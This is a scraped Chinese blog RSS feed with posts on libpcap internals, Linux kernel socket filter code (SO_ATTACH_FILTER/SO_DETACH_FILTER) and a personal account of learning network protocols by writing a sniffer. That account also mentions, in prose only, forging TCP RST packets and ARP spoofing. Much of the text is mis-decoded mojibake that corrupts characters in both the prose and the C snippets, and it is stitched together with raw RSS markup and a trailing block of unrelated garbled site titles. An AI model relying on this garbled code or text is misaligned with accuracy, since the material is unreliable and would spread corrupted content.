            解决q个问题的方法是在设|过滤器之前Q首先读完接攉列中所有的数据包?
            具体步骤如下?/
            /*Z避免无限循环的情况发生(反复的读数据包ƈ丢弃Q但新的数据包不停的到达Q,首先讄一个过滤器Q阻止所有的包进?*/
            setsockopt(handle->fd, SOL_SOCKET, SO_ATTACH_FILTER,
            &total_fcode, sizeof(total_fcode)Q?
            /* 保存 socket 当前的属?*/
            save_mode = fcntl(handle->fd, F_GETFL, 0);
            /* 讄 socket 它ؓ非阻塞模?*/
            fcntl(handle->fd, F_SETFL, save_mode | O_NONBLOCK)Q?
            /* 反复读队列中的数据包Q直到没有数据包可读。这意味着接收队列已被清空 */
            while (recv(handle->fd, &drain, sizeof drain, MSG_TRUNC) >= 0)Q?
            /* 恢复曾保存的 socket 属?*/
            fcntl(handle->fd, F_SETFL, save_mode);
            /* 现在安装新的qo?*/
            setsockopt(handle->fd, SOL_SOCKET, SO_ATTACH_FILTER,
            fcode, sizeof(*fcode));
            }
            /* 释放 socket 上可能有的内核过滤器 */
            static int reset_kernel_filter(pcap_t *handle)
            {
            int dummy;
            return setsockopt(handle->fd, SOL_SOCKET, SO_DETACH_FILTER,
            &dummy, sizeof(dummy));
            }
            

linux 在安装和卸蝲qo器时都用了函数 setsockopt()Q其中标志SOL_SOCKET 代表了对 socket q行讄Q?SO_ATTACH_FILTER ?SO_DETACH_FILTER 则分别对应了安装和卸载。下面是 linux 2.4.29 版本中的相关代码Q?/p>

            [net/core/sock.c]
            #ifdef CONFIG_FILTER
            case SO_ATTACH_FILTER:
            ……
            /* 把过滤条件结构从用户I间拯到内核空?*/
            if (copy_from_user(&fprog, optval, sizeof(fprog)))
            break;
            /* ?socket 上安装过滤器 */
            ret = sk_attach_filter(&fprog, sk);
            ……
            case SO_DETACH_FILTER:
            /* 使用自旋锁锁?socket */
            spin_lock_bh(&sk->lock.slock);
            filter = sk->filter;
            /* 如果?socket 上有qo器,则简单设|ؓI,q放过滤器内存 */
            if (filter) {
            sk->filter = NULL;
            spin_unlock_bh(&sk->lock.slock);
            sk_filter_release(sk, filter);
            break;
            }
            spin_unlock_bh(&sk->lock.slock);
            ret = -ENONET;
            break;
            #endif
            

上面出现?sk_attach_filter() 定义?net/core/filter.cQ它把结构sock_fprog 转换为结?sk_filter, 最后把此结构设|ؓ socket 的过滤器Qsk->filter = fp?/p>



其他代码

libpcap q提供了其它若干函数Q但基本上是提供辅助或扩展功能,重要性相对弱一炏V我个h认ؓQ函?pcap_dump_open() ?pcap_open_offline() 可能比较有用Q用它们能把在U的数据包写入文件ƈ事后q行分析处理?/p>



ȝ

1994 q?libpcap 的第一个版本被发布Q到现在已有 11 q的历史Q如今libpcap 被广泛的应用在各U网l监控Y件中。Libpcap 最主要的优点在于^台无x,用户E序几乎不需做Q何改动就可移植到其它 unix q_上;其次Qlibpcap也能适应各种qo机制Q特别对BPF的支持最好。分析它的源代码Q可以学习开发者优U的设计思想和实现技巧,也能了解刎ͼlinuxQ操作系l的|络内核实现Q对个h能力的提高有很大帮助?/p>

矛_@ 2009-07-09 22:01 发表评论
]]>
libpcap的浅?/title><link>http://m.tkk7.com/shiliqiang/articles/285598.html</link><dc:creator>矛_@</dc:creator><author>矛_@</author><pubDate>Sun, 05 Jul 2009 14:26:00 GMT</pubDate><guid>http://m.tkk7.com/shiliqiang/articles/285598.html</guid><wfw:comment>http://m.tkk7.com/shiliqiang/comments/285598.html</wfw:comment><comments>http://m.tkk7.com/shiliqiang/articles/285598.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/shiliqiang/comments/commentRss/285598.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/shiliqiang/services/trackbacks/285598.html</trackback:ping><description><![CDATA[libpcap体现的不是捕捉技术上的难点,而是对细节的控制上,对跨q_代码的编写上Q对qo机制的优化上?<br /> 大象的命门是在脚{,也就是支撑的地方?很显Ӟ得先Ҏ口的动和他的数据结构有个了解。而且在这套库里面看到了好多h的代码和自己的功能说明,感觉着一U合作开攄_?<br /> 剪枝删节Q将其中linux部分提了出来Q涉及到的文件大概有Q?<br />     inet.c  fad-getad.c pcap-linux.c pcap-int.h pcap.c <br /> 整个的大概结构是Q查找设备,定讑֤Q过滤条件的嵌入Q套接字的创建,|卡的设|,包的捕获?<br /> <br />     <br />     查找讑֤:用到的函数有pcap_lookupdev()-pcap_findalldevs()-getifaddrs()-add_addr_to_iflist()//inet.c fad_getad.c <br /> 该函数是所扑ֈ的设备信息用q表q接hQ设备号的在前Q因此通常是eth0. <br /> 数据l构为struct pcap_if{},//pcap.h <br /> <br /> <br />     打开|络讑֤Q??以后的linux内核版本用新的协议簇PF_PACKET来实现。早期是(SOCK_PACKET)他的形式可以是SOCK_RAW和SOCK_DGRAM。RAW是原始数据,DGRAM是对数据包进行加工,把数据包的链路层头部LQ用sockaddr_ll来保存。在两种情况下RAW不可用:某些cd讑֤数据链\层头部不可用Q当捕捉为anyӞZ是包qo机制在所有类型数据包上正常工作,要求所有数据用相同数据链路头部?<br />     pcap-linux.c <br />     pcap_open_live()Q用到的数据l构是pcap_t,//pcap-int.h,q是一个比较重要的参数Q主要包括对socket的描qͼ和一些底层上的设|。比如缓冲区大小Q设备类型,边界寚w{,对应的函数指针,可更改的链\敎ͼBPFqo代码是否能用等?<br />    pcap_stat stat;//pcap.h,捕捉状态结构,包括是否qoQ接受包的数目,丢弃的数目等?<br />    在函数内部有new和old两种版本Q分别对2.0前后的版本创建socket.而在其内部的选择上,又涉及到Ҏ否支持链路层头部l构的判断,最后将|卡设ؓh模式Q创建socket <br />    在这一层中Qlibpcap提供的用L序接口是pcap_next()//pcap.cQ通过跟踪可发玎ͼ它最后是调用pcap_read_packet//pcap-linux.c接收。接收完后做的工作如下:偏移量设|,Zl伪数据链\层留出空_接着要修正长度,判断是否有用内核U的包过滤,最后填充捕h?长度/旉Q对包数据篏加?<br /> <br />    完成以上两个步骤Q发现最关键两个步骤是找设备的函数Q和socket的创建。但是通过查看源代码可知,作者在跨^収ͼl节处理Q包通用的完善性上做了很多很多的工作,q无一不给我们提供了一个很好的学习度?<br /> <br />    接下来是对过滤机制的描述Q?<br /> q个我想是最有难点的地方了,一些算法不做描qͼ查看pcap-bpf.h,gencode.c,optimize.c,grammar,c,scanner.c <br /> 用到的特性有q么几个Q因为在捕捉Ӟ是先l过捕捉Q然后把控制权再l数据链路,q样q接在内核~冲内进行过滤。而在法是上使用BPF包过滤机Ӟ法上很复杂Q用伪机器码的方式Q类g汇编语言。如果是以后做到cM多重判断跌{之类的可以参考里面的无环控制图CFG的实? <br />     个h认ؓ该库很大一部分研究价值除了跨q_~写Q还有就是对linux底层qo器的调用使用? <img src ="http://m.tkk7.com/shiliqiang/aggbug/285598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/shiliqiang/" target="_blank">矛_@</a> 2009-07-05 22:26 <a href="http://m.tkk7.com/shiliqiang/articles/285598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>|络协议的学习方?/title><link>http://m.tkk7.com/shiliqiang/articles/285582.html</link><dc:creator>矛_@</dc:creator><author>矛_@</author><pubDate>Sun, 05 Jul 2009 12:50:00 GMT</pubDate><guid>http://m.tkk7.com/shiliqiang/articles/285582.html</guid><wfw:comment>http://m.tkk7.com/shiliqiang/comments/285582.html</wfw:comment><comments>http://m.tkk7.com/shiliqiang/articles/285582.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/shiliqiang/comments/commentRss/285582.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/shiliqiang/services/trackbacks/285582.html</trackback:ping><description><![CDATA[一个前辈写的自己学习网路协议的ҎQ感觉挺好的Q{载于此:<br /> <br /> <p> |络q东西就是一个靠实践的东西,只靠看书是不行的。当q在学校q上q史林教授/张公忠教授所讲的计算机网l体pȝ构课Q用的是Tanabaum写的那本Q考试q得了九十多分,可实际还是连TCP和UDP有什么区别都分不清,是死记背,到毕业的时候基本上是忘光了Q工作后{于重新来过?<br />       上班了要在Linux做一些底层的|络处理Q不得不从头来学Linux和网l,~程部分主要看Richard Stevens的那几本书:APUE、UNP、TCP/IP Illustraion{,学Linux则看得很杂,市面上各ULinux入门书大都翻了一遍,俺是习惯在书店里看书Q爱看书而不׃书,汗,Q然后就是去各大BBS、论坛把他们的精华区都下载下来狂看,边看边实践,基本上在一个月内熟悉了Linux的操作?<br />            学网l协议刚开始也是看书,但看了之后没多少印象Q那些东襉K死记真是没法记的Q后来找C个好办法Q就是自己写个snifferQ自己写个协议分析器Q先学怎么抓包Q就看tcpdump的源码,然后看libpcap的源码,知道了什么是|卡的؜杂模式,很快p抓到|卡上包的。接下来是对包q行分析Q就看作TCP/IP IllustraionQ从以太头、ARP/IP、ICMP/IGMP/TCP/UDP、HTTP/FTP/TELNET/SMTP{这么一点一炏V一个字D一个字D分析下来,很快明白了所谓TCP/IP到底是怎么回事。另外ؓ了学TCP状态{换表Q根据所抓的包的TCP标志分析通信双方当前是什么状态,刚开始还只能从头一方发SYN包开始分析,到后来是可从q接中间包如手就能逐渐判断双方的TCP状态,基本上是d搞清楚了TCP的状态{UL怎么回事Q后来再理解防火墙的状态检原理就很容易了。另外在分析q程中,为彻底掌握IP片Q还特地ping大包来抓Q把抓上来的包自己重l,搞明白了IP头的片offset字段是怎么用的?<br />           能抓包后q而又开始学如何自己构造包?#8220;q扰”正常通信了,开始是学怎么发TCP的RST包来切断一个正常的TCPq接Q就的学会如何计IP头校验和QTCP校验和,知道了算TCP校验和时必须加IP伪头数据Q然后是正确计算序列号和认P知道了原来SYN和FIN标志也是一位的Q最重要的是理解了什么是|络序什么是L序,现在基本把ntohs(l),htons(l)处理都成了一U编E的本能意识了。学会用RST切断TCP后,q一步实C直接发一个页面信息告诉客L讉K了非法信息,也就是以后实现URLqo时客L昄的拒l画面。后来也学发ARP信息胡ؕ通告MAC地址Q也是以前写的那篇ARPd的由来?<br />            后来俺写的这个协议分析器逐步完善Q能解析的就解析Q不能解析的打印出16q制敎ͼ可打印字W也打印出来Q对HTTP、FTP、POP3、SMTPq些文本协议几乎׃下看明白了,对于非文本协议,如DNSQ也Ҏ协议解析了出来,而且解析DNS时不得不用了我一向不q的递归Ҏ来编E。随着|络应用的增加,在用到前都先作协议解析,除了各种TCP、UDP的协议,q增加了BPDU、PPPOE、OSPF、ESP、AH、IKE{的解析处理Q现在俺的协议分析器也可以分析上癄协议Q^时抓包就只用个,TCPDUMP基本不再用了Q毕竟自己写的自己更清楚Q如果有不能解析的再现加q去。现在学新协议时Q往往先抓包看看协议的基本数据格式Q再看RFC了解l节?<br />               学协议刚开始是看书Q到后来要更深入了解或追询最新发展情况就只能看RFC了,毕竟|络的东西变化太快,书的东西只能入门,说不定很快就出新的了Q到现在也看了数癄的RFC了?<br />              通过~程分析来学协议Q慢是慢了点Q花了一个多月的旉Q但感觉学得扎实Q正所谓磨刀不误砍柴功,而且一通百通。到现在虽然已经好几q了QIP_TCP头有哪些字段q是一下就可以说得出来Q对理解各种|络d原理从而进行防范更是有帮助Q我觉得Ҏ来说q种Ҏ是很有效Q如果哪位觉得有更有效的学习ҎQ可以共同交一下?/p> <p>出处Qhttp://blog.csdn.net/eroswang/archive/2008/10/02/3008146.aspx</p> <img src ="http://m.tkk7.com/shiliqiang/aggbug/285582.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/shiliqiang/" target="_blank">矛_@</a> 2009-07-05 20:50 <a href="http://m.tkk7.com/shiliqiang/articles/285582.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>高性能|络~程Q第 2 部分: 加快客户机和服务器的处理速度http://m.tkk7.com/shiliqiang/articles/285536.html矛_@矛_@Sun, 05 Jul 2009 02:25:00 GMThttp://m.tkk7.com/shiliqiang/articles/285536.htmlhttp://m.tkk7.com/shiliqiang/comments/285536.htmlhttp://m.tkk7.com/shiliqiang/articles/285536.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/285536.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/285536.htmlhttp://www.ibm.com/developerworks/cn/aix/library/au-highperform2/index.html#resources


矛_@ 2009-07-05 10:25 发表评论
]]>
高性能|络~程Q第 1 部分: 最大程度地利用您的|络资源http://m.tkk7.com/shiliqiang/articles/285535.html矛_@矛_@Sun, 05 Jul 2009 02:24:00 GMThttp://m.tkk7.com/shiliqiang/articles/285535.htmlhttp://m.tkk7.com/shiliqiang/comments/285535.htmlhttp://m.tkk7.com/shiliqiang/articles/285535.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/285535.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/285535.html

矛_@ 2009-07-05 10:24 发表评论
]]>
开始工具pythonhttp://m.tkk7.com/shiliqiang/articles/285531.html矛_@矛_@Sun, 05 Jul 2009 02:07:00 GMThttp://m.tkk7.com/shiliqiang/articles/285531.htmlhttp://m.tkk7.com/shiliqiang/comments/285531.htmlhttp://m.tkk7.com/shiliqiang/articles/285531.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/285531.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/285531.html阅读全文

矛_@ 2009-07-05 10:07 发表评论
]]>
վ֩ģ壺 ߹ۿһëƬ| ޾Ʒþþþ | ޾Ʒ| һѹۿߵӰ| ѳƵۿ| þƷѹۿ| ĻþþƷA| ۺһƷþ| һþaþþƷ| ȫԼƵ| ݹѾþþ | ޾Ʒ͵| ޸ߵӰ| ޾Ʒٸ30p| һĻ| ޹ƷëƬav| ѿŮƴɫ| 91ѾƷԲ߲| 99ƷƵ߹ۿѲ| ɫվapp߹ۿ| ؼëƬˬwwwѰ| ɫav| Ʒþһ| Ůɫһ| ass**ëpics| ޹ŮƷþ| ŷ޹˾Ʒ| ޹Ʒ˾þõӰ| ֻĻ| AVɫ˿| Ļ9| ޾Ʒa߹ۿ | ۺ ŷ ˿| ɫþƷƵ| ŮѹۿƬ| ѵӰ| þþþ޾Ʒþþþþþ | վС˵| 911Ʒձ| ޹Ʒһ| ޾ƷŮ|